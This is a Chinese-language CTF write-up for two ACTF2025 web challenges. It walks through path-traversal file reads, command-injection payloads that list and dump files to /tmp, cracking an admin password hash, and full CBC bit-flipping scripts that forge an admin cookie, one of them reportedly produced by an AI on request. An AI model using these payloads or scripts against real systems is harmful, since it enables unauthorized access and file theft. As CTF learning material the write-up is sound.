ACTF2025 web部分题解

upload
尝试admin、123456登录,失败,尝试admin',123456登录成功,奇怪
上传文件后,url是http://223.112.5.141:61869/upload?file_path=图片路径
惊喜,尝试发现存在文件读取、路径穿越漏洞,读取结果会以图片base64的形式返回
读取命令行运行命令,找到了源码文件名
# 读取命令行运行命令
http://223.112.5.141:61869/upload?file_path=../../../../proc/self/cmdline
读取源码
# 读取源码
http://223.112.5.141:61869/upload?file_path=../../../../app/app.py

源码
import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session
app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')
@app.route('/')
def index():
if session.get('username'):
return redirect(url_for('upload'))
else:
return redirect(url_for('login'))
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin':
if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
session['username'] = username
return redirect(url_for('index'))
else:
flash('Invalid password')
else:
session['username'] = username
return redirect(url_for('index'))
else:
return '''
<h1>Login</h1>
<h2>No need to register.</h2>
<form action="/login" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<br>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<br>
<input type="submit" value="Login">
</form>
'''
@app.route('/upload', methods=['POST', 'GET'])
def upload():
if not session.get('username'):
return redirect(url_for('login'))
if request.method == 'POST':
f = request.files['file']
file_path = str(uuid.uuid4()) + '_' + f.filename
f.save('./uploads/' + file_path)
return redirect(f'/upload?file_path={file_path}')
else:
if not request.args.get('file_path'):
return '''
<h1>Upload Image</h1>
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
'''
else:
file_path = './uploads/' + request.args.get('file_path')
if session.get('username') != 'admin':
with open(file_path, 'rb') as f:
content = f.read()
b64 = base64.b64encode(content)
return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
else:
os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
# with open(f'/tmp/{file_path}.b64', 'r') as f:
# return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
return 'Sorry, but you are not allowed to view this image.'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
分析源码,关键部分
admin登录
if username == 'admin':
if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
session['username'] = username
密码的sha256值是32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0,彩虹表查询一下,密码是backdoor

上传策略
else:
file_path = './uploads/' + request.args.get('file_path')
if session.get('username') != 'admin':
with open(file_path, 'rb') as f:
content = f.read()
b64 = base64.b64encode(content)
return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
else:
os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
# with open(f'/tmp/{file_path}.b64', 'r') as f:
# return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
return 'Sorry, but you are not allowed to view this image.'
这里普通用户上传后会返回base64编码的图片,admin用户上传后会执行os.system(f'base64 {file_path} > /tmp/{file_path}.b64'),直接把file_path拼接进去,没有过滤,看起来存在命令注入漏洞
构造命令
111;whoami;#
迷糊了,这个admin是不管执行什么命令都返回Sorry, but you are not allowed to view this image.,验证存在漏洞可以尝试dnslog外带,发现好像不出网
那就用admin用户命令注入,把执行结果写入到/tmp目录下,使用普通用户读取,完美
111;whoami > /tmp/1.txt;#
成功执行命令

查看flag,flag在根目录下的Fl4g_is_H3r3文件中
1111;ls / > /tmp/1.txt;cat /* >> /tmp/1.txt;%23

not so web 1
注册用户1/1,登录后,返回了一大坨编码
抱着试一试的心态尝试b64解码,竟然真是b64..
源码
import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
Flask,
render_template,
render_template_string,
request,
redirect,
url_for,
flash,
session,
)
app = Flask(__name__)
app.secret_key = KEY
@dataclass(kw_only=True)
class APPUser:
name: str
password_raw: str
register_time: int
# In-memory store for user registration
users: Dict[str, APPUser] = {
"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}
def validate_cookie(cookie: str) -> bool:
if not cookie:
return False
try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False
if len(cookie_encrypted) < 32:
return False
try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
cookie_json = cipher.decrypt(padded)
except ValueError:
return False
try:
_ = json.loads(cookie_json)
except Exception:
return False
return True
def parse_cookie(cookie: str) -> Tuple[bool, str]:
if not cookie:
return False, ""
try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False, ""
if len(cookie_encrypted) < 32:
return False, ""
try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(padded)
cookie_json_bytes = unpad(decrypted, 16)
cookie_json = cookie_json_bytes.decode()
except ValueError:
return False, ""
try:
cookie_dict = json.loads(cookie_json)
except Exception:
return False, ""
return True, cookie_dict.get("name")
def generate_cookie(user: APPUser) -> str:
cookie_dict = asdict(user)
cookie_json = json.dumps(cookie_dict)
cookie_json_bytes = cookie_json.encode()
iv = os.urandom(16)
padded = pad(cookie_json_bytes, 16)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(padded)
return base64.b64encode(iv + encrypted).decode()
@app.route("/")
def index():
if validate_cookie(request.cookies.get("jwbcookie")):
return redirect(url_for("home"))
return redirect(url_for("login"))
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
user_name = request.form["username"]
password = request.form["password"]
if user_name in users:
flash("Username already exists!", "danger")
else:
users[user_name] = APPUser(
name=user_name, password_raw=password, register_time=int(time.time())
)
flash("Registration successful! Please login.", "success")
return redirect(url_for("login"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users and users[username].password_raw == password:
resp = redirect(url_for("home"))
resp.set_cookie("jwbcookie", generate_cookie(users[username]))
return resp
else:
flash("Invalid credentials. Please try again.", "danger")
return render_template("login.html")
@app.route("/home")
def home():
valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
if not valid or not current_username:
return redirect(url_for("logout"))
user_profile = users.get(current_username)
if not user_profile:
return redirect(url_for("logout"))
if current_username == "admin":
payload = request.args.get("payload")
html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">Welcome, %s !</h2>
<div class="text-center">
Your payload: %s
</div>
<img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
""" % (
current_username,
payload,
)
else:
html_template = (
"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">server code (encoded)</h2>
<div class="text-center" style="word-break:break-all;">
{%% raw %%}
%s
{%% endraw %%}
</div>
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
"""
% base64.b64encode(open(__file__, "rb").read()).decode()
)
return render_template_string(html_template)
@app.route("/logout")
def logout():
resp = redirect(url_for("login"))
resp.delete_cookie("jwbcookie")
return resp
if __name__ == "__main__":
app.run()
只会一点web,通过ai长时间交流,知道这里是CBC bit flipping Attack翻转攻击
题目不存在文件读取等漏洞,KEY不可知,注册过程没有使用KEY,不能通过flask-unsign爆破KEY,所以只能通过CBC bit flipping Attack来伪造身份
源码关键点:
def generate_cookie(user: APPUser) -> str:
cookie_dict = asdict(user)
cookie_json = json.dumps(cookie_dict)
cookie_json_bytes = cookie_json.encode()
iv = os.urandom(16)
padded = pad(cookie_json_bytes, 16)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(padded)
return base64.b64encode(iv + encrypted).decode()
生成cookie的函数,使用AES加密,16位的iv,16位的key,16位的padding,最后返回base64编码的iv+encrypted
太难辣!!
拿到本地,自定义key,测试一下cbc伪造身份是否可行
注册一个用户bdmin,密码1,登录,拿到cookie,使用CBC位翻转攻击,伪造一个admin的cookie
app.py
import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad, unpad
from flask import (
Flask,
render_template,
render_template_string,
request,
redirect,
url_for,
flash,
session,
)
app = Flask(__name__)
app.secret_key = KEY
@dataclass(kw_only=True)
class APPUser:
name: str
password_raw: str
register_time: int
# In-memory store for user registration
users: Dict[str, APPUser] = {
"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}
def validate_cookie(cookie: str) -> bool:
if not cookie:
return False
try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False
if len(cookie_encrypted) < 32:
return False
try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
cookie_json = cipher.decrypt(padded)
except ValueError:
return False
try:
_ = json.loads(cookie_json)
except Exception:
return False
return True
def debug_cookie(cookie: str):
try:
# 移除特殊字符并补全Base64长度
cookie = cookie.replace('/', '').replace('_', '').replace('-', '')
# 计算需要补充的'='数量
pad_len = 4 - (len(cookie) % 4)
cookie += '=' * pad_len if pad_len != 4 else ''
decoded = base64.b64decode(cookie)
iv = decoded[:16]
ciphertext = decoded[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(ciphertext), 16)
print(f"[解密成功]\nIV: {iv.hex()}\n明文: {decrypted.decode()}")
return True
except Exception as e:
print(f"[解密失败] 错误类型: {type(e).__name__}\n详细信息: {str(e)}")
return False
def parse_cookie(cookie: str) -> Tuple[bool, str]:
debug_cookie(request.cookies.get("jwbcookie"))
if not cookie:
return False, ""
try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False, ""
if len(cookie_encrypted) < 32:
return False, ""
try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(padded)
cookie_json_bytes = unpad(decrypted, 16)
cookie_json = cookie_json_bytes.decode()
except ValueError:
return False, ""
try:
cookie_dict = json.loads(cookie_json)
except Exception:
return False, ""
return True, cookie_dict.get("name")
def generate_cookie(user: APPUser) -> str:
cookie_dict = asdict(user)
cookie_json = json.dumps(cookie_dict)
cookie_json_bytes = cookie_json.encode()
iv = os.urandom(16)
padded = pad(cookie_json_bytes, 16)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(padded)
return base64.b64encode(iv + encrypted).decode()
@app.route("/")
def index():
if validate_cookie(request.cookies.get("jwbcookie")):
return redirect(url_for("home"))
return redirect(url_for("login"))
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
user_name = request.form["username"]
password = request.form["password"]
if user_name in users:
flash("Username already exists!", "danger")
else:
users[user_name] = APPUser(
name=user_name, password_raw=password, register_time=int(time.time())
)
flash("Registration successful! Please login.", "success")
return redirect(url_for("login"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users and users[username].password_raw == password:
resp = redirect(url_for("home"))
resp.set_cookie("jwbcookie", generate_cookie(users[username]))
return resp
else:
flash("Invalid credentials. Please try again.", "danger")
return render_template("login.html")
@app.route("/home")
def home():
valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
if not valid or not current_username:
return redirect(url_for("logout"))
user_profile = users.get(current_username)
if not user_profile:
return redirect(url_for("logout"))
if current_username == "admin":
payload = request.args.get("payload", "")
return render_template("home.html",
current_username=current_username,
payload=payload)
else:
server_code = base64.b64encode(open(__file__, "rb").read()).decode()
return render_template("home.html",
current_username=current_username,
server_code=server_code)
@app.route("/logout")
def logout():
resp = redirect(url_for("login"))
resp.delete_cookie("jwbcookie")
return resp
if __name__ == "__main__":
app.run()
secret.py
# 修改后的 secret.py(本地测试用)
KEY = b"0123456789123456" # 已知的测试密钥
ADMIN_PASSWORD = "admin_pass_123" # 已知管理员密码
templates/home.html
{% extends "base.html" %}
{% block title %}Home{% endblock %}
{% block content %}
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-header">
<h4 class="mb-0">Welcome, {{ current_username }}!</h4>
</div>
<div class="card-body">
{% if current_username == "admin" %}
<div class="mb-4">
<h5>Admin Panel</h5>
<div class="alert alert-info">
Your payload: {{ payload }}
</div>
</div>
<img src="{{ url_for('static', filename='interesting.jpeg') }}" class="img-fluid rounded mb-4" alt="Admin Image">
{% else %}
<div class="mb-4">
<h5>Server Information</h5>
<div class="alert alert-secondary">
<pre style="white-space: pre-wrap; word-break: break-all;">{{ server_code }}</pre>
</div>
</div>
{% endif %}
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</div>
</div>
{% endblock %}
templates/base.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{% block title %}Secure App{% endblock %}</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark">
<div class="container">
<a class="navbar-brand" href="/">Secure App</a>
<div class="navbar-nav">
{% if session.get('logged_in') %}
<a class="nav-link" href="/logout">Logout</a>
{% else %}
<a class="nav-link" href="/login">Login</a>
<a class="nav-link" href="/register">Register</a>
{% endif %}
</div>
</div>
</nav>
<div class="container mt-4">
{% with messages = get_flashed_messages(with_categories=true) %}
{% if messages %}
{% for category, message in messages %}
<div class="alert alert-{{ category }} alert-dismissible fade show">
{{ message }}
<button type="button" class="btn-close" data-bs-dismiss="alert"></button>
</div>
{% endfor %}
{% endif %}
{% endwith %}
{% block content %}{% endblock %}
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
templates/register.html
{% extends "base.html" %}
{% block title %}Register{% endblock %}
{% block content %}
<div class="row justify-content-center">
<div class="col-md-6">
<div class="card">
<div class="card-header">
<h4 class="mb-0">Register</h4>
</div>
<div class="card-body">
<form method="POST" action="/register">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="password" class="form-label">Password</label>
<input type="password" class="form-control" id="password" name="password" required>
</div>
<button type="submit" class="btn btn-primary">Register</button>
</form>
</div>
<div class="card-footer text-center">
Already have an account? <a href="/login">Login here</a>
</div>
</div>
</div>
</div>
{% endblock %}
templates/login.html
{% extends "base.html" %}
{% block title %}Login{% endblock %}
{% block content %}
<div class="row justify-content-center">
<div class="col-md-6">
<div class="card">
<div class="card-header">
<h4 class="mb-0">Login</h4>
</div>
<div class="card-body">
<form method="POST" action="/login">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="password" class="form-label">Password</label>
<input type="password" class="form-control" id="password" name="password" required>
</div>
<button type="submit" class="btn btn-primary">Login</button>
</form>
</div>
<div class="card-footer text-center">
Don't have an account? <a href="/register">Register here</a>
</div>
</div>
</div>
</div>
{% endblock %}
static/styles.css
body {
background-color: #f8f9fa;
}
.card {
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.card-header {
background-color: #343a40;
color: white;
border-radius: 10px 10px 0 0 !important;
}
.form-control:focus {
border-color: #6c757d;
box-shadow: 0 0 0 0.25rem rgba(108, 117, 125, 0.25);
}
.btn-primary {
background-color: #343a40;
border-color: #343a40;
}
.btn-primary:hover {
background-color: #23272b;
border-color: #23272b;
}
翻转攻击脚本
import base64
from secret import KEY
from urllib.parse import unquote
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad, unpad
import re
import json
def debug_cookie_advanced(cookie: str):
try:
cookie = unquote(cookie)
print(f"URL解码后: {cookie}")
cookie = re.sub(r"[^a-zA-Z0-9+/=]", "", cookie)
print(f"过滤后: {cookie}")
pad_len = (4 - len(cookie) % 4) % 4
cookie += "=" * pad_len
print(f"补全后: {cookie} (长度: {len(cookie)})")
decoded = base64.b64decode(cookie)
print(f"解码字节长度: {len(decoded)}")
iv = decoded[:16]
ciphertext = decoded[16:]
print(f"IV: {iv.hex()}")
print(f"密文长度: {len(ciphertext)}")
cipher = AES.new(KEY, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(ciphertext), 16)
print(f"解密成功:\n{decrypted.decode()}")
return decrypted.decode()
except Exception as e:
print(f"[严重错误] {type(e).__name__}: {str(e)}")
return None
def cbc_bitflip_attack_for_bdmin(original_cookie: str):
"""
CBC位翻转,将bdmin改成admin
"""
try:
# 1. 解码原始Cookie
cookie = unquote(original_cookie)
cookie = re.sub(r"[^a-zA-Z0-9+/=]", "", cookie)
pad_len = (4 - len(cookie) % 4) % 4
cookie += "=" * pad_len
decoded = base64.b64decode(cookie)
iv = bytearray(decoded[:16])
ciphertext = decoded[16:]
# 2. 解密获取原始明文
cipher = AES.new(KEY, AES.MODE_CBC, bytes(iv))
decrypted = unpad(cipher.decrypt(ciphertext), 16)
plaintext = decrypted.decode()
print(f"原始明文: {plaintext}")
# 3. 找到 "bdmin" 出现的位置
target_old = "bdmin"
target_new = "admin"
pos = plaintext.find(target_old)
if pos == -1:
raise ValueError("明文中未找到 bdmin")
print(f"找到bdmin的位置: {pos}")
# 4. 修改对应的IV或前一块密文
new_iv = bytearray(iv)
for i in range(len(target_old)):
old_byte = ord(target_old[i])
new_byte = ord(target_new[i])
flip = old_byte ^ new_byte
print(f"修改位置 {pos+i}: '{target_old[i]}' -> '{target_new[i]}', 需要异或 {flip:02x}")
# 判断是修改IV还是前一个密文块
if pos + i < 16:
# 在第一个block,修改IV
new_iv[pos + i] ^= flip
else:
# 超过第一个block的情况,可以扩展处理
raise ValueError("用户名位置超出IV修改范围,这里只处理第一个block内的情况")
# 5. 重新组合cookie
forged_cookie = base64.b64encode(new_iv + ciphertext).decode()
print(f"伪造后的Cookie: {forged_cookie}")
# 6. 验证结果
test_decrypted = debug_cookie_advanced(forged_cookie)
if test_decrypted and target_new in test_decrypted:
print("[+] CBC位翻转成功!")
return forged_cookie
else:
print("[-] 伪造失败,检查逻辑")
return None
except Exception as e:
print(f"[!] 攻击过程中发生错误: {str(e)}")
return None
# 测试
test_cookie = "XG4URR04ObV+DopSXbEzgKvIDEplNJwSnlgyeLueWA2/RomaRzPAp9UN1k6un//Leuo934UrvNPxRcFJrLIAwAexCIzJ0CdlYDz1JbTf5ZSiScTo5TjEkL15ZmXYiy15"
print("=== 原始Cookie分析 ===")
debug_cookie_advanced(test_cookie)
print("\n=== 开始CBC位翻转攻击 ===")
forged_cookie = cbc_bitflip_attack_for_bdmin(test_cookie)
if forged_cookie:
print("\n=== 攻击成功 ===")
print(f"伪造的管理员Cookie: {forged_cookie}")
else:
print("\n=== 攻击失败 ===")
尝试本地翻转攻击,看起来确实可行

让AI生成一份,不需要使用KEY验证的脚本,只需要使用CBC位翻转攻击即可
import base64
import re
from urllib.parse import unquote
def cbc_bitflip_attack_without_key(original_cookie: str, target_old: str = "bdmin", target_new: str = "admin"):
"""
无需KEY的CBC位翻转攻击
原理:通过修改前一个密文块来影响下一个块的解密结果
"""
try:
# 1. 预处理Cookie
cookie = unquote(original_cookie)
cookie = re.sub(r"[^a-zA-Z0-9+/=]", "", cookie)
pad_len = (4 - len(cookie) % 4) % 4
cookie += "=" * pad_len
decoded = base64.b64decode(cookie)
# 2. 分割数据块
iv = bytearray(decoded[:16])
ciphertext = bytearray(decoded[16:])
blocks = [iv] + [ciphertext[i:i + 16] for i in range(0, len(ciphertext), 16)]
# 3. 需要手动指定目标位置(根据经验或尝试)
# 假设"bdmin"出现在第一个块,偏移量为10
block_idx = 0 # 修改IV块(第一个块)
offset_in_block = 10 # 需要根据实际情况调整
# 4. 计算需要修改的字节
modifications = []
for i in range(min(len(target_old), len(target_new))):
if i >= len(target_old) or i >= len(target_new):
break
if target_old[i] == target_new[i]:
continue
flip = ord(target_old[i]) ^ ord(target_new[i])
blocks[block_idx][offset_in_block + i] ^= flip
modifications.append(
f"修改 block[{block_idx}][{offset_in_block + i}]: "
f"{target_old[i]}→{target_new[i]} (异或 {flip:02x})"
)
if not modifications:
print("[!] 无需修改 - 字符串已匹配")
return original_cookie
# 5. 生成伪造的Cookie
forged_payload = b''.join(blocks)
forged_cookie = base64.b64encode(forged_payload).decode()
print("\n[攻击详情]")
for mod in modifications:
print(f"- {mod}")
print(f"\n[+] 伪造的Cookie (无需KEY):\n{forged_cookie}")
return forged_cookie
except Exception as e:
print(f"[!] 攻击失败: {type(e).__name__}: {str(e)}")
return None
# 测试用例
if __name__ == "__main__":
# 替换为你的实际Cookie
test_cookie = "uP/CTaX6zXoTSPkygDAYzjltlpBRUBLIosVtwY/b3Vy+k89A3sazG8Dyu2iDeJQvaT5aXhi7Yx+8qOfUtcnacv3o07rt0Wx5bWBOdYb7joqBE6kYwAhACQR76+Cm4rwu"
print("=== CBC位翻转攻击(无需KEY)===")
forged = cbc_bitflip_attack_without_key(
test_cookie,
target_old="bdmin",
target_new="admin"
)
if forged:
print("\n[+] 请用此Cookie尝试访问管理员页面")
print("注意:可能需要尝试不同的偏移量")
else:
print("\n[-] 攻击失败,请尝试调整偏移量")
攻击成功

在home路由下,使用了%s格式化字符串到渲染模板里,存在SSTI漏洞
return render_template_string(html_template)
梭哈
